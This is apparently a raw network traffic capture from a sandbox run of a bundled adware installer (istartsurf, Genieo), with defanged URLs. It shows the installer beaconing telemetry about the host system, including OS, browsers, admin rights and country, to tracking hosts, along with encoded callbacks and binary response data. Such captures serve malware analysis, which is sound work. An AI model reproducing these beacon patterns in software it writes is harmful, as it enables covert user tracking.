 AozTE1ekpb0S3Xup3waO2xTxzGWC i8d/zVkZk J5tDXHRz6OfWLjpV8dwQWeAqrpYJU=
..x-amz-request-id: 542543FA3A981E55..Date: Fri, 15 May 2015 23:02:54 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Sun, 10 May 2015 14:05:57 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=BA08CCC2F1F54650A2ACED5B27E7A152PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1431730972&procruntime=3&rnd=1431730975 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 6liuk7Ec3W5EWwJpItS2j0g3c2MCjMyCLWiuiAj1VDC WCW2Vie Dsd14PtIz1vxzAF2eyDKILE=

x-amz-request-id: 0AD964DDF7C3A550

Date: Fri, 15 May 2015 23:02:56 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:54 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 6liuk7
Ec3W5EWwJpItS2j0g3c2MCjMyCLWiuiAj1VDC WCW2Vie Dsd14PtIz1vxzAF2eyDKILE=
..x-amz-request-id: 0AD964DDF7C3A550..Date: Fri, 15 May 2015 23:02:56 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Sun, 10 May 2015 14:05:54 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1431730975 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: vsdipDevfmwIeIBUdFm zY03kj4C8j94nJGK oaCUmYFlVcDDxnUR0bs/x6fzW6mYsf8G qvZfI=

x-amz-request-id: 1CAE0C81A2B2A0E7

Date: Fri, 15 May 2015 23:02:56 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1431730975 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: YmIb392gAy59jJdyscbDCdbrG9C9NeUGHv3WAr c86kSyt K1EiMwUmptDpF83kasvZ746zraH4=

x-amz-request-id: 708F11900D9EFB55

Date: Fri, 15 May 2015 23:02:56 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: YmIb39
2gAy59jJdyscbDCdbrG9C9NeUGHv3WAr c86kSyt K1EiMwUmptDpF83kasvZ746zraH4=
..x-amz-request-id: 708F11900D9EFB55..Date: Fri, 15 May 2015 23:02:56 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Sun, 10 May 2015 14:05:57 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1431730977 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: Ilr3VwfYhuWg3NMZab5bdJ8Fd7Bl1NYEbyy3iW6iYqrcl5M1uYf8SHcHJr73PXLQUjupC79ORN0=

x-amz-request-id: 05B00AC29D1B26FD

Date: Fri, 15 May 2015 23:02:58 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Ilr3Vw
fYhuWg3NMZab5bdJ8Fd7Bl1NYEbyy3iW6iYqrcl5M1uYf8SHcHJr73PXLQUjupC79ORN0=
..x-amz-request-id: 05B00AC29D1B26FD..Date: Fri, 15 May 2015 23:02:58 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Sun, 10 May 2015 14:05:57 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1431730977 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: cv8g2UVyxczp68mXberdp15KrSLRVlvBmA8M4cbCOrksHSDaS2HVD915Oj6tSGaHMTHkOCGdDbQ=

x-amz-request-id: C029B8C9BD40DC4C

Date: Fri, 15 May 2015 23:02:58 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1431730977 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: fWb7NlrSX/IZ3r5Cdioc3ne5Sib5SvYII7bpYEKWWrm1zfq0eDR671xjr700bGuHaqcnBtNajl8=

x-amz-request-id: C057501719902B97

Date: Fri, 15 May 2015 23:02:58 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1431730977 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: HZtZoc4iNMAgGRNzADYNlv9qDHJR5KapV45Z9kf OtLLxZaWqRWoLfU8WzALTCzqvHm/epEntbE=

x-amz-request-id: 061DF1F264719BFA

Date: Fri, 15 May 2015 23:02:59 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1431730978 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: Kwyqp8utejpvpjuIPUhHyrB/MAGW5Y BNsMMZEh5WNt9fqkLEb4MNQoe1OwZXPiVnqqz/UUKubE=

x-amz-request-id: DF820188BA97208B

Date: Fri, 15 May 2015 23:02:59 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1431730978 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: e6EJ9qn 2K2qFsrobTpWOQHMOGScP3U3HTMyA9zuRkOVPQjQG2uuCGm//WLwdp0xQrUehcmtp1w=

x-amz-request-id: 3E82F5DFA0F5A1EF

Date: Fri, 15 May 2015 23:02:59 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: e6EJ9q
n 2K2qFsrobTpWOQHMOGScP3U3HTMyA9zuRkOVPQjQG2uuCGm//WLwdp0xQrUehcmtp1w=
..x-amz-request-id: 3E82F5DFA0F5A1EF..Date: Fri, 15 May 2015 23:02:59 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Sun, 10 May 2015 14:05:57 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1431730983 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: jurH0pzwKRJXRmDKqSr1zTKw2Bm6aUJBfFs2slz25XECmQqCchkmwm4wMxCL bw4nUSeUyaI51w=

x-amz-request-id: B580D39BC71396DF

Date: Fri, 15 May 2015 23:03:04 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1431730983 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: LOdSFxdQ8vo9NvMXm/ww8gXJyyWCk3ps2F6UgFCySN/GbToBcr7Rv7wIKETiq4aGhMYhOyoHkrg=

x-amz-request-id: AA368837E50C6CAD

Date: Fri, 15 May 2015 23:03:04 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1431730983 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 8HPQTmEDMpXWgOm73aqOch4o8jntMhuhfHh8FLjr0MNi3laSiffrEPZF/1mz9yXNyJl5yczggLQ=

x-amz-request-id: ABB59BF95CEC235A

Date: Fri, 15 May 2015 23:03:04 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 8HPQTm
EDMpXWgOm73aqOch4o8jntMhuhfHh8FLjr0MNi3laSiffrEPZF/1mz9yXNyJl5yczggLQ=
..x-amz-request-id: ABB59BF95CEC235A..Date: Fri, 15 May 2015 23:03:04 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Sun, 10 May 2015 14:05:57 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1431730985 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 3c42I4tlknWwdHN95fUOCzac7HxSLeVf1oBConmbMbAbQuEo9ABeIFA72X3vPb//NrXmWL nUvc=

x-amz-request-id: E01DC2FD92E6E493

Date: Fri, 15 May 2015 23:03:07 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1431730986 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: GiIfnxnG6g6nNL48dIiIHD97plYSK vKImNfybIcsn Ewy0sVyk2NGjRr6y03WXt7irgJIzvs6E=

x-amz-request-id: FB13456897076C87

Date: Fri, 15 May 2015 23:03:07 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: GiIfnx
nG6g6nNL48dIiIHD97plYSK vKImNfybIcsn Ewy0sVyk2NGjRr6y03WXt7irgJIzvs6E=
..x-amz-request-id: FB13456897076C87..Date: Fri, 15 May 2015 23:03:07 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Sun, 10 May 2015 14:05:57 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..

GET /services/xml/rss/nyt/HomePage.xml HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: MF2=19hhj9gxbdklf; RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 200 OK

Content-Length: 9635

Content-Encoding: gzip

Date: Fri, 15 May 2015 23:05:14 GMT

Content-Type: text/xml;charset=UTF-8

Server: FeedsPortal

ETag: 1431730569000

Last-Modified: Fri, 15 May 2015 22:56:09 GMT

Connection: close
...........}.r.8.....{@...djE..-..8..e&V._ 9.v...HHB.$..iG.5..o..Us-s)
s%{[email protected]:.(.... .....?}.Br...E..E... ,.E........:./~::.....C&.
..$.....)...>....&l...4Mg..V"e3..<b.....h.x....?........... ..o.
.K....w;M.LZ..._.......g8r........._GS.=t...vZ][email protected]... .n
...XD.VqY..N..IF........W.6P.........Y........4.....>[email protected]"..L...
........t....).c......B....Xmsu.$Kn.....T..........&.."...lI.....n..,.
>MA,^......a....].rM.<I.J......./....w........}nN.(.iF.4f....g..
..".?..T ...~.g..Q..ak..aH.I...X.dxa.....y.'...W|".n.C...\.;..Hn.5*Gz"
..x~.Z^t8.F'4eGo.. p.9......:..;;....a.8.4..q..`....|....6.....H....a.
.v.$t6....gm..lE\.-h..PL.o`...;..].9.'.-l....r.y...g(Z.......d.FiBo...
.ND....2g.`.e.d..|...9<u..g.,p.x.}NC.H:....lOi..,]..]%.\.`5r. ...`2
T..3.&.........L.t..:.....vv..;.qko....-.....v.~.... .-.......no...;n.
..?.=..I....z.P...r=4....\O.......S. ..z....p.1..=.m.....w`1..%S...6..
........IS..8.|.......r.*5..< ..!S....wx:.....,.......g.*...Q....l"
.0..n...T].........`...;......N....s...G.r..t.O;xp1\...L..>....h...
..2..X....E..-J.%....o^.0\=..Gz....9f,.3..4T.$.H..........me..W.R.B.o.
L._...0.....0.w[.l4.Z.>. a.0.....u.n...Oi..ge...4...)[email protected]@
..*..YS....:^......co...;6~\Um...I.][email protected]*p
..w......_...N[G.....!P.;.....Y:'......sq..C...@.....}. W......%.^.5..
.....D..x..?d.{......$.....K"z...........T..E..P..{...0.dG'....:......
....y..k...._......!L.....M....D.S .o..$>`.l..=... C.._D....~4&W..r
6.. ...}0.j;E..K..p: .$G..X...oQ..0.s..WS....@.(..O,.B...H?.e2....<<< skipped >>>

GET /?partner=rss&emc=rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: international.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: Apache

Vary: Host

X-App-Name: homepage

Cache-Control: no-cache

Content-Type: text/html; charset=utf-8

Date: Fri, 15 May 2015 23:05:00 GMT

X-Varnish: 1563556565 1563459138

Age: 1141

Via: 1.1 varnish

X-Cache: HIT

X-API-Version: 5-5

X-PageType: homepage

Connection: close

Content-Encoding: gzip

Transfer-Encoding: chunked
37EC.............}.r....o;..C.gB".. . (R^.(..).I..Q(.........B...1...v
c#v.a.o...}...}..../[email protected].].U.....Y......{..Y.M......oL..5f[....
Yk..o....o.3.....l.L...)...}.....;....X.cZN <..on3>..Sw&.|"..Y..
.Cw......{.j...|og........s.w..E..........Ba..7..Y...&..0%.7!g........
..}.v......n.........eG..............T.........l..r*...a?.....f.g&.x._
Y..r|...z.H.fO.Ih...Y|.GU!..U.D.!........A.....f...A....C..9.A... F.a.
..h;(....}..Y.....8(..}..._s.Zx~c9#..xz.............._~q._<j.......
...C......y[x..[..7......c...>. ..]/..>|...A.........[....Z.....
.o..g..B.Zp.s...G.5.....\j*N..<.q.......3.......l.z[...3w?(...`....
.m...}....q..?}?...{ot.h.....Ml.]....<y.*.o....x.......c|.F......A.
.m..........o.o..]{....b...I.<......:.E.....>....QQ....7o..p ...
..1.....:{..3 ...A.......C......_.5.....L ..J!.......Rr....:p..../l?.q
...[...H. 4.E.pZ....b..i.....@..\..O1.b.............D...[..].H..7.gD..
.."......A...H.Vy[.T.~V....[...".)....m..<.....]...Q...M....,.kK...
.(..>.QJ[".w@tC?pg. ..A......)Z........n96.:..x........^..3.R......
..R.s.,|...6R..p`~y.\1*{.....W..{..3.B..M}.uv......TV...).C...;dL..A..
.......E.-g....,.<........E,....I.,;.{.q.Y..)...d......28.~....[...
.h.F..f..D......8....'nJW........5....$..,.w^.t8...r........6.]k...8..
)..2.R.....T.....A....B.x.W.....P.X .{$...?......e..s.Y..3. ....o.../.
...o....'..@....=.. ...J{..vS.O.....c.. .......Y.z.bY...*.crm........o
....Po......L..3v.......4.A<......J........q...1._...........$a.Y.g
.....,.T..r.|...Q.G...{.m8.....}.>t.#@|...s!;.....*..wU0..\.X.n<<< skipped >>>

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.RegWrite HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:03:06 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.26 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Fri, 15 May 201
5 23:03:06 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.26 ms","message":"store 1 act
ion and 0 update "}..0..

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=istartsurf&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=2&index_in_screen=1&index_in_session=2&0.4797686838008186 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmc=1; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:01:52 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:01:52 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /13203.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0hNrAfuvjC4u/NH4Kgw0ruGKwCI49GtT1NdRCa5jj7dUzI0IkF1yg1L7vGpx 8MAwfO/2zfBH9AMNAILVLRmoPT94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsVGXytAW0YTvpFBfC/1GFX1sFx0Ai5knupjdibKIr9AtxNsDmnyqwUg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:35 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GET /nyt/rss/HomePage HTTP/1.1

Accept-Encoding: gzip,deflate

Host: feeds.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:05:13 GMT

Server: Apache

X-API-Version: 4

Location: hXXp://rss.nytimes.com/services/xml/rss/nyt/HomePage.xml

Content-Length: 264

Connection: close

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://rss.nytimes.com/services/xml/rss/
nyt/HomePage.xml">here</a>.</p>.</body></html&
gt;...

GET /cnnnext/dam/assets/150323200604-erin-dnt-elbagir-nigeria-children-for-sale-00032720-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 19305

Cache-Control: max-age=4281

Expires: Sat, 16 May 2015 00:16:29 GMT

Date: Fri, 15 May 2015 23:05:08 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.G.........................!1.A."Qa..q..2...#BR..3...$b..Scr...LD...
.................................)......................!..1.A"Q..2a.#
BRq............?......S.~B..-...4....7..NS...g.r.vD:WN..hbvw...S...nvU
...{.k....T\.t.n2@..>k.!>..Ru. ...=... ?.9.U...ol*}....]A.k..../
glz...a....r..9G........d..%)..Pq..a.`.......<.[vD .=...c.1I;F..Hxl
..r..,....U $......&"...w.!BQ.%q....y.E.F..Y..R..c$v.......,k...Ko....
..)..<.v*p!.BP.q....Z....4.P.i..7*?..xR..x.4i......4. >lz.......
.p0.(..;.7$.....[.p.....C.].d.h..p.x*=.H(i.=L...y|..h..Q]."=m.....j...
.....c...s...V.[..Q$..`.i.%.=....s_Q%d.ies.<.8......3g.......AY...S
Q.R...^@i......bO.i...2..'.O..%F.c..|(......SX.6....)..o.v...`.....{.&
..=.FxsNA^1.a.8.....&.t...{.=......Q.R..O...I.z~:.?.L...7...'.v....T..
..D.5......6Ys...5..J6..6....Z..I0..P.)\I....D....g..0.I...tg.*}<..
%Qd................'[email protected]. .{ ...,Y...;...6C..k.KeP....
.P4;Y .....W7...F.(.. iy..~.QT..K .v..m<.r..8....S$..V...rM..TG?%jY
.M4.%..Q..p.....].%[...d...t...|..#..S..A.w.~... Z<.Q...e...O...*4.
.......8K.g..........$C.t#....i......h......\..tCm.3v..9......4."...d.
l.s...>...'..........7isk)|Bp8...|!..6...].?.k.O.[(.p.7..Q..1J.D...
 ...|......O!......A..R......4...c.f.a.kY..G..~.....v).w.Y.(.....i;.(.
T.8`.?..7..z......{.@\N.u:&....K;...E!.7.F.P.6.).REF;..,..P$.5....<<< skipped >>>

GET /10957.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybt8v1P82G Yv gjKfKdz3qVWyif 2VH4gFagtWkIz2ITe2QtDpLn MGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSpnkjtuKARPGXTfiLzWqxDYMDrRWNb/a uWvc1ERSY/LSnPGlduzOkM= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:35 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybt8v1P82G YtdRCa5jj7dUzI0IkF1yg1L7vGpx 8MAwfaYKixoj2LBAmGZxYlIxDzQtYQnxeUKu9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqZ5I7bigETxl034i81qsQ2DA60VjW/2vrlr3NREUmPy0pzxpXbszpD HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com

